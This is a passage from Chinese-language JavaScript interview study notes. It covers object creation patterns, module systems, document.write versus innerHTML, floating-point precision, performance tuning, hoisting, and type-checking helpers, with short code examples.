8
9
10
优点:解决了工厂模式中对象类型无法识别的问题,并且创建自定义的构造函数意味着将来可以将它的实例标识为一种特定的类型。
缺点:我们知道 ECMAScript 中的函数是对象,在使用构造函数创建对象时,每个方法都会在实例对象中重新创建一遍。拿上面的例子举例,这意味着每创建一个对象,我们就会创建一个 sayName 函数的实例,但它们其实做的都是同样的工作,因此这样便会造成内存的浪费。
# 原型模式
function Person(){}
Person.prototype.name = "james";
Person.prototype.sayName = function(){
alert(this.name);
}
var person1 = new Person();
person1.sayName(); // "james"
var person2 = new Person();
person2.sayName(); // "james"
console.log(person1.sayName === person2.sayName) // true
2
3
4
5
6
7
8
9
10
11
12
13
14
优点:解决了构造函数模式中多次创建相同函数对象的问题,所有的实例可以共享同一组属性和函数。 缺点:原型模式省略了构造函数模式传递初始化参数的过程,所有的实例在默认情况下都会取得默认的属性值,会在一定程度上造成不方便。
# 28. JS 模块化方案
- 4种方案:CommonJS、AMD、CMD、ES6
# 1、CommonJS
通过 require 来引入模块,通过 module.exports 定义模块的 输出接口。这种模块加载方案是服务器端的解决方案,它是以同步的方式来引入模块的,因为在 服务端文件都存储在本地磁盘,所以读取非常快,所以以同步的方式加载没有问题。但如果是在 浏览器端,由于模块的加载是使用网络请求,因此使用异步加载的方式更加合适。
# 2、AMD
采用异步加载的方式来加载模块,模块的加载不影响后面语句的 执行,所有依赖这个模块的语句都定义在一个回调函数里,等到加载完成后再执行回调函数。 require.js 实现了 AMD 规范。
// AMD 默认推荐
define(["./a", "./b"], function(a, b) {
// 依赖必须一开始就写好
a.doSomething();
// 此处略去 100 行
b.doSomething();
// ...
});
2
3
4
5
6
7
8
# 3、CMD
这种方案和 AMD 方案都是为了解决异步模块加载的问题,sea.js 实现 了 CMD 规范。它和 require.js 的区别在于模块定义时对依赖的处理不同和对依赖模块的执行 时机的处理不同。
// CMD
define(function(require, exports, module) {
var a = require("./a");
a.doSomething();
// 此处略去 100 行
var b = require("./b"); // 依赖可以就近书写
b.doSomething(); // ...
});
2
3
4
5
6
7
8
# 4、ES6
使用 import 和 export 的形式来导入导出模块。
# 29. documen.write 和 innerHTML 的区别
# 1.基本定义对比
特性 | document.write() | element.innerHTML |
---|---|---|
所属对象 | document 全局方法 | DOM 元素的属性 |
主要用途 | 文档流写入 | 修改元素内部HTML |
执行时机 | 主要在页面加载时使用 | 可在任意时刻使用 |
# 2.工作原理差异
document.write()
// 直接写入文档流
document.write("<p>Hello World</p>");
// 如果在页面加载后调用,会覆盖整个文档
window.onload = function() {
document.write("This replaces the entire document!");
};
2
3
4
5
6
7
innerHTML
// 修改特定元素的HTML内容
document.getElementById("myDiv").innerHTML = "<p>New content</p>";
// 可以追加内容
const div = document.getElementById("myDiv");
div.innerHTML += "<p>Appended content</p>";
2
3
4
5
6
# 3.工作原理差异
- 3.1 执行时机的影响
document.write():
- 页面加载期间:正常插入内容
- 页面加载完成后:会清空整个文档,从头开始写入
innerHTML:
- 任何时候调用都只影响指定的元素
- 不会影响文档其他部分
- 3.2 性能比较
维度 | document.write() | element.innerHTML |
---|---|---|
小量内容 | 较快 | 较快 |
大量内容 | 较慢(需重新解析整个文档) | 较快(局部更新) |
内存使用 | 可能导致重绘/回流 | 更高效(虚拟DOM前最佳选择) |
# 现代替代方案
textContent (防XSS)
element.textContent = "Safe text content";
# 30. 0.1 + 0.2 != 0.3
console.log(0.1 + 0.2 === 0.3); // false
console.log(0.1 + 0.2); // 0.30000000000000004
2
- 0.1 和 0.2 在二进制中是无限循环小数:
- 0.1(十进制)→ 0.0001100110011001100110011001100110011001100110011001101...(二进制)
- 0.2(十进制)→ 0.001100110011001100110011001100110011001100110011001101...(二进制)
JS数字采用 IEEE 754 双精度 64 位浮点数来存储,只能存储有限位数(52位尾数),因此会截断,导致精度丢失。
# 解决方案
- (1)原生办法解决:
console.log(parseFloat((0.1 + 0.2).toFixed(10)) === 0.3); // true
console.log(parseFloat((0.1 + 0.2).toFixed(10))); // 0.3
2
- (2)转换为整数计算后再还原
console.log((0.1 * 10 + 0.2 * 10) / 10); // 0.3
- (3)使用第三方库,decimal.js(高精度计算)
import Decimal from "decimal.js";
const sum = new Decimal(0.1).plus(0.2);
console.log(sum.equals(0.3)); // true
2
3
# 31. 性能定义和性能优化
- 性能优化分为两个大的分类
1、加载时优化
2、运行时优化
# 30-1、加载时性能
顾名思义加载时优化 主要解决的就是让一个网站加载过程更快,比如压缩文件大小、使用CDN加速等方式可以优化加载性能。
检查加载性能的指标一般看:白屏时间和首屏时间
白屏时间:指的是从输入网址, 到页面开始显示内容的时间。
首屏时间:指从输入网址, 到首屏页面内容渲染完毕的时间。
- 白屏时间计算
将代码脚本放在head
标签前面就能获取白屏时间
<script>
new Date().getTime() - performance.timing.navigationStart
</script>
2
3
- 首屏时间计算
在window.onload事件中执行以下代码,可以获取首屏时间
new Date().getTime() - performance.timing.navigationStart
# 加载时性能优化
浏览器如果输入的是一个网址,首先要交给DNS域名解析 -> 找到对应的IP地址 -> 然后进行TCP连接 -> 浏览器发送HTTP请求 -> 服务器接收请求 -> 服务器处理请求并返回HTTP报文 -> 以及浏览器接收并解析渲染页面。
从这一过程中,其实就可以挖出优化点,缩短请求的时间,从而去加快网站的访问速度,提升性能。
这个过程中可以提升性能的优化的点:
1、DNS解析优化,浏览器访问DNS的时间就可以缩短
2、使用HTTP2
3、减少HTTP请求数量
4、减少http请求大小
5、服务器端渲染
6、静态资源使用CDN
7、资源缓存,不重复加载相同的资源
- 1、DNS 预解析
用meta信息来告知浏览器, 当前页面要做DNS预解析
<meta http-equiv="x-dns-prefetch-control" content="on" />
在页面header中使用link标签来强制对DNS预解析
<link rel="dns-prefetch" href="http://bdimg.share.baidu.com" />
注意:dns-prefetch需慎用,多页面重复DNS预解析会增加重复DNS查询次数。
- 2、使用HTTP2
HTTP2带来了非常大的加载优化,所以在做优化上首先就想到了用HTTP2代替HTTP1。
HTTP2相对于HTTP1有这些优点:解析速度快、多路复用、首部压缩、服务器推送
- 3、减少HTTP请求数量
HTTP请求建立和释放需要时间。
HTTP请求从建立到关闭一共经过以下步骤:
1、客户端连接到Web服务器
2、发送HTTP请求
3、服务器接受请求并返回HTTP响应
4、释放连接TCP链接
- 4、压缩、合并文件
压缩文件 -> 减少HTTP请求大小,可以减少请求时间
文件合并 -> 减少HTTP请求数量。
我们可以对html、css、js以及图片资源进行压缩处理,现在可以很方便的使用 webpack 实现文件的压缩
JS压缩:UglifyPlugin
CSS压缩:MiniCssExtractPlugin
HTML压缩:HtmlWebpackPlugin
图片压缩:image-webpack-loader
- 5、服务端启用gzip,减少传输文件的体积
# 30-2、运行时性能
运行时性能是指页面运行时的性能表现,而不是页面加载时的性能。
可以通过chrome开发者工具中的 Performance 面板来分析页面的运行时性能。
# 32. 尾调用及其好处
尾调用是指 一个函数的最后一步操作是调用另一个函数(且不需要保留当前函数的执行上下文)。
- 关键特征
- 必须是函数最后一步操作
- 调用后不需要访问当前函数的变量
- 不需要对返回值进行额外操作
// 非尾调用(需要执行加法操作)
function nonTailCall(x) {
return x + someFunction(x); // 最后一步是加法
}
// 尾调用
function tailCall(x) {
return someFunction(x); // 纯粹的函数调用
}
2
3
4
5
6
7
8
9
# 尾调用的核心优势
- 性能提升
- 栈帧复用:避免每次调用创建新栈帧
- 内存效率:将O(n)空间复杂度降为O(1)
- 无限递归:理论上支持无限深度调用
# 33.IndexedDB 以及 Service Worker + Cache API
维度 | IndexedDB | Service Worker + Cache API |
---|---|---|
数据用途 | 动态结构化数据(如用户数据、日志) | 静态资源或网络请求响应(如 HTML、API) |
离线支持 | 需配合 Service Worker 实现完整离线功能 | 直接支持离线资源加载 |
查询能力 | 支持复杂查询(索引、游标) | 仅能通过 URL 匹配缓存 |
适用场景 | 数据库类应用(如本地笔记、编辑器) | 离线优先的 Web 应用(如新闻、文档阅读) |
# IndexedDB:客户端大规模结构化数据存储
- 核心特性
- 类型:基于 JavaScript 的 NoSQL 数据库,支持索引、事务和异步操作。
- 容量:浏览器通常允许存储数百 MB 甚至 GB 级数据(取决于用户设备)。
- 数据结构:存储键值对(值可以是复杂对象、文件二进制数据等)。
- 异步 API:所有操作非阻塞,通过事件或 Promise 返回结果。
- 适用场景
- 需要存储大量结构化数据(如用户生成的文档、离线应用数据)。
- 需要高性能查询(通过索引快速检索)。
- 需要事务支持(保证数据一致性,如金融类应用)。
// 打开或创建数据库
const request = indexedDB.open('MyDatabase', 1);
request.onupgradeneeded = (event) => {
const db = event.target.result;
// 创建对象存储空间(类似表)
const store = db.createObjectStore('users', { keyPath: 'id' });
// 创建索引
store.createIndex('nameIndex', 'name', { unique: false });
};
request.onsuccess = (event) => {
const db = event.target.result;
// 插入数据
const transaction = db.transaction('users', 'readwrite');
const store = transaction.objectStore('users');
store.add({ id: 1, name: 'Alice', age: 30 });
// 查询数据
const getRequest = store.get(1);
getRequest.onsuccess = () => {
console.log(getRequest.result); // { id: 1, name: 'Alice', age: 30 }
};
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Service Worker + Cache API:离线应用缓存
Service Worker:
- 独立于主线程的脚本,可拦截网络请求、管理缓存。
- 支持离线运行和后台同步。
Cache API:
- 提供缓存存储机制(键值对,键为请求对象,值为响应对象)。
- 可缓存 HTML、CSS、JS、图片等静态资源或 API 响应
适用场景
- 构建离线可用的 PWA(渐进式 Web 应用)。
- 加速重复访问的静态资源加载。
- 实现自定义缓存策略(如“网络优先,失败后回退缓存”)。
# 34. 预解析
预解析是 JavaScript 引擎在执行代码前的一个预处理阶段,它会将变量和函数声明提升到当前作用域的顶部。
# 4.1 预解析的基本表现
- 变量声明提升(var)
console.log(a); // 输出: undefined
var a = 5;
console.log(a); // 输出: 5
2
3
实际执行顺序相当于:
var a; // 声明提升到作用域顶部
console.log(a); // 此时a已声明但未赋值
a = 5; // 赋值保留在原位置
console.log(a);
2
3
4
- 函数声明提升
foo(); // 输出: "Hello"
function foo() {
console.log("Hello");
}
2
3
4
5
函数声明整体被提升到作用域顶部。
# 4.2 不同声明方式的预解析差异
声明方式 | 提升表现 | 示例 |
---|---|---|
var | 声明提升,值为undefined | console.log(x); var x = 5; |
function | 整个函数体提升 | foo(); function foo() {} |
let/const | 提升但存在"暂时性死区" | console.log(y); let y = 5; → 报错 |
函数表达式 | 按变量提升规则处理 | bar(); var bar = function() {} → 报错 |
# 4.3 预解析的优先级规则
函数声明优先于变量声明
console.log(typeof foo); // 输出: "function"
var foo;
function foo() {}
2
3
4
后面的函数声明会覆盖前面的
foo(); // 输出: "Second"
function foo() { console.log("First"); }
function foo() { console.log("Second"); }
2
3
4
# 4.4 let/const 的暂时性死区(TDZ)
虽然 let
和 const
也会被提升,但在声明前访问会报错:
console.log(b); // ReferenceError: Cannot access 'b' before initialization
let b = 10;
2
# 4.5 实际开发中的注意事项
- 避免先使用后声明:虽然预解析允许,但会降低代码可读性
- 使用函数表达式时注意:
// 这样会报错
myFunc();
var myFunc = function() {};
// 正确方式
var myFunc = function() {};
myFunc();
2
3
4
5
6
7
- 推荐使用 let/const:避免 var 的提升问题
# 35. 十进制与其他进制的相互转换
// 将十进制数转换成其他进制数
var a = 10;
console.log(a.toString(2)); //转换成2进制 1010
console.log(a.toString(8)); //转换成8进制 12
console.log(a.toString(16)); //转换成16进制 a
// 将其他进制数转换成十进制数
var b = "10";
console.log(parseInt(b, 2)); //将2进制的10转换成十进制 2
console.log(parseInt(b, 8)); //将8进制的10转换成十进制 8
console.log(parseInt(b, 16)); //将16进制的10转换成十进制 16
2
3
4
5
6
7
8
9
10
11
# 36. 判断变量方法归纳
# 一. 是否为数组
# 1. Array.isArray()(推荐)
const arr = [1, 2, 3];
const notArr = {};
console.log(Array.isArray(arr)); // true
console.log(Array.isArray(notArr)); // false
2
3
4
5
# 2. Object.prototype.toString.call()(通用但繁琐)
虽然 Array 也继承自 Object,但 js 在 Array.prototype 上重写了 toString,通过 toString.call(arr)实际上是通过原型链调用了。
const arr = [1, 2, 3];
console.log(Object.prototype.toString.call(arr) === '[object Array]'); // true
2
# 3. 使用 instanceof(有限制)
适用于已知执行环境的情况,但在某些特殊场景下可能失效(例如跨 iframe 或窗口)。
const arr = [1, 2, 3];
console.log(arr instanceof Array); // true
2
- 缺点:
- 如果变量来自不同的全局上下文(如另一个 iframe),instanceof 会返回 false。
- 可能被原型链篡改干扰。
# 4. 构造函数的 constructor
Object 的每个实例都有构造函数 constructor,用于保存着用于创建当前对象的函数
let arr = [];
console.log(arr.constructor === Array); // true
2
# 5. Array 原型链上的 isPrototypeOf
Array.prototype 属性表示 Array 构造函数的原型
其中有一个方法是 isPrototypeOf() 用于测试一个对象是否存在于另一个对象的原型链上。
let arr = [];
console.log(Array.prototype.isPrototypeOf(arr)); // true
2
# 6. Object.getPrototypeOf
Object.getPrototypeOf() 方法返回指定对象的原型
let arr = [];
console.log(Object.getPrototypeOf(arr) === Array.prototype); // true
2
# 二. 判断对象是否为空
# 1. 使用 Object.keys() 方法(推荐)
Object.keys()
用于返回一个由对象自身的所有可枚举属性组成的数组
function isEmptyObject(obj) {
return Object.keys(obj).length === 0;
}
// 示例
console.log(isEmptyObject({})); // true
console.log(isEmptyObject({a: 1})); // false
2
3
4
5
6
# 2. 使用 JSON.stringify() 方法
function isEmptyObject(obj) {
return JSON.stringify(obj) === '{}';
}
// 示例
console.log(isEmptyObject({})); // true
console.log(isEmptyObject({a: 1})); // false
2
3
4
5
6
- 注意:
- 性能略低于 Object.keys()
- 会忽略不可枚举属性
# 3. 使用 for...in 循环
function isEmptyObject(obj) {
for (let key in obj) {
if (obj.hasOwnProperty(key)) {
return false;
}
}
return true;
}
// 示例
console.log(isEmptyObject({})); // true
console.log(isEmptyObject({a: 1})); // false
2
3
4
5
6
7
8
9
10
11
- 优点:
- 兼容性最好(包括旧版浏览器)
- 可以检测继承的属性(如果需要)
# 4. 使用 Object.getOwnPropertyNames()
function isEmptyObject(obj) {
return Object.getOwnPropertyNames(obj).length === 0;
}
// 示例
console.log(isEmptyObject({})); // true
console.log(isEmptyObject({a: 1})); // false
2
3
4
5
6
7
- 特点
- 含不可枚举属性
# 5. 使用 Lodash 的 _.isEmpty()
const _ = require('lodash');
console.log(_.isEmpty({})); // true
console.log(_.isEmpty({a: 1})); // false
2
3
4
- 优点:
- 功能全面,可以处理各种边界情况
- 适用于复杂对象判断
# 特殊情况处理
- 检查 null 和 undefined
function isEmptyObject(obj) {
if (obj == null) return true;
return Object.keys(obj).length === 0;
}
2
3
4
- 检查非对象类型
function isEmptyObject(obj) {
if (typeof obj !== 'object' || obj === null) {
return false; // 或者根据需求返回 true
}
return Object.keys(obj).length === 0;
}
2
3
4
5
6
# 三. 判断字符串能否被 JSON.parse() 成功解析
# 1. 直接使用 try-catch(最可靠方法)
function isJSONParsable(str) {
try {
JSON.parse(str);
return true;
} catch (e) {
return false;
}
}
// 使用示例
console.log(isJSONParsable('{"a":1}')); // true
console.log(isJSONParsable('invalid')); // false
console.log(isJSONParsable('123')); // true (数字也是合法JSON)
console.log(isJSONParsable('"text"')); // true (字符串也是合法JSON)
2
3
4
5
6
7
8
9
10
11
12
13
14
- 优点:
- 100% 准确,与 JSON.parse 的行为完全一致
- 能处理所有边缘情况